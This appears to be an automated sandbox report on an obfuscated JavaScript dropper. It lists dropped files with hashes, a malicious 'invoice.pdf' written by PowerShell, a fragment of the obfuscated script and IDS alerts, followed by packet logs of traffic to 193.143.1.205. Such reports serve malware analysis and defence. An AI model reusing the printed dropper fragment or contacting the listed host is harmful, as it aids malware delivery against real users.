._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16154), with CRLF line terminators
Entropy (8bit):	4.901473080157063
TrID:
File name:	32750305971799721630.js
File size:	19'646 bytes
MD5:	a5741dfa9236c5c8e9415d4a102c6beb
SHA1:	d268b25d2f894d135a83b2dcdd903c3907ce465a
SHA256:	a861047f87951ccce1b78a17526c1051b0b5edf20734d3276c0bb432c0117426
SHA512:	3f2cb44768b3c8bccc1ae57612084b683a4174a67c6a205141419ca7ddff69ef0861a2544d650b93463dba4ced454ac51b4146e8135613ced2c391d91311a969
SSDEEP:	384:QO5r7p5yppQpeH3iWmIegZxz2JbIwM5P6o0drjyyfcnB86bcIy583rUnbAhqbaWz:hIVHEgZsIV5PiAWh
TLSH:	C5923F941CC0C64FC6F805E5F0A604D826F6238CCDD06FEA6C0765E95329FA6A5EBCB5
File Content Preview:	function yzxikq(){qfffqf=[1031,3079,5127,4103,2055,3072];var soygqbkf=this[weuty+ldlvf+nhrvc+ydjfvzy+dddfxelg+pwugun+vfjfzsuid+wlnkhxz](this[vewjtsr+lfiev+cskfuxidt+nhrvc+npfkzinv+weuty+wlnkhxz][yyuhx+nhrvc+dddfxelg+ldlvf+wlnkhxz+dddfxelg+ajnurb+klisr+icg

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T23:18:03.613389+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-10T23:18:06.366865+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.4	49731	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 23:18:02.812171936 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:02.817257881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:02.817395926 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:02.821618080 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:02.826556921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:03.613223076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:03.613248110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:03.613261938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:03.613295078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:03.613313913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:03.613326073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:03.613337994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:03.613389015 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:03.613439083 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:03.613464117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:03.613477945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:03.613491058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:03.613508940 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:03.613548994 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:03.643862009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:03.643879890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:03.644052029 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:03.725150108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:03.725166082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:03.725178003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:03.725227118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:03.725389004 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:03.725389004 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:03.729820013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:03.729831934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:03.729887009 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:03.730164051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:03.730175972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:03.730185032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:03.730214119 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:03.734584093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:03.734596014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:03.734606028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:03.734647036 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:03.734689951 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:03.735017061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:03.735028982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:03.735075951 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:03.739342928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:03.739356041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:03.739403009 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:03.739705086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:03.739722013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:03.739795923 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:03.744064093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:03.744077921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:03.744128942 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:03.744359016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:03.744370937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:03.744405031 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:03.770865917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:03.770879984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:03.770890951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:03.770958900 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:03.812807083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:03.812828064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:03.812841892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:03.812968016 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:03.850425959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:03.850454092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:03.850466013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:03.850476980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:03.850492001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:03.850632906 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:03.850641966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:03.850677967 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:03.850686073 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:03.850717068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:03.850728989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:03.850781918 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:03.850795984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:03.850809097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:03.850843906 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:03.851625919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:03.851638079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:03.851650953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:03.851684093 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:03.852134943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:03.852147102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:03.852159023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:03.852216005 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:03.852233887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:03.852247000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:03.852305889 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:03.852992058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:03.853003979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:03.853015900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:03.853043079 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:03.853063107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:03.853075027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:03.853116989 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:03.853849888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:03.853888988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:03.853900909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:03.853919983 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:03.853959084 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:03.854034901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:03.854047060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:03.854095936 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:03.854737043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:03.854783058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:03.854794979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:03.854823112 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:03.854919910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:03.854933023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:03.854960918 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:03.855714083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:03.855726004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:03.855739117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:03.855762005 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:03.855799913 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:03.855833054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:03.855844975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:03.855876923 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:03.856513023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:03.857484102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:03.857492924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:03.857533932 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:03.857548952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:03.857590914 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:03.857603073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:03.857614994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:03.857654095 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:03.857700109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:03.898089886 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:03.899305105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:03.899328947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:03.899382114 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:03.937747955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:03.937781096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:03.937791109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:03.937808037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:03.937818050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:03.937824011 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:03.937860966 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:03.937896967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:03.937930107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:03.937951088 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:03.991846085 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.176146984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.176165104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.176176071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.176240921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.176253080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.176264048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.176275969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.176286936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.176325083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.176392078 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.176392078 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.176433086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.176444054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.176455975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.176467896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.176479101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.176480055 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.176491976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.176506042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.176525116 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.176549911 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.176707029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.176717997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.176727057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.176738024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.176748991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.176755905 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.176759005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.176773071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.176781893 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.176790953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.176803112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.176811934 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.176812887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.176825047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.176834106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.176840067 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.176846027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.176856995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.176868916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.176870108 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.176902056 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.177437067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.177447081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.177457094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.177468061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.177484035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.177486897 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.177496910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.177509069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.177520037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.177531004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.177537918 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.177541971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.177553892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.177565098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.177573919 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.177577019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.177589893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.177599907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.177608967 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.177611113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.177625895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.177638054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.177649021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.177649975 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.177659988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.177673101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.177680969 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.177685022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.177711964 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.178256989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.178268909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.178280115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.178291082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.178303003 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.178303003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.178316116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.178333044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.178344965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.178364038 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.178397894 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.178469896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.178530931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.178543091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.178574085 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.178663015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.178673983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.178683996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.178695917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.178705931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.178709030 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.178755045 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.178910017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.178920984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.178931952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.178944111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.178953886 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.178953886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.178966999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.178981066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.178983927 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.178994894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.179009914 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.179038048 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.179275036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.179323912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.179335117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.179368973 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.179434061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.179444075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.179455042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.179478884 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.179518938 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.179553032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.179563999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.179574966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.179586887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.179600954 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.179640055 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.181404114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.181415081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.181425095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.181447029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.181452036 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.181461096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.181472063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.181502104 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.181524992 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.181586027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.181596994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.181608915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.181627035 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.181698084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.181709051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.181720018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.181731939 CET	80	49730	193.143.1.205	192.168.2.4
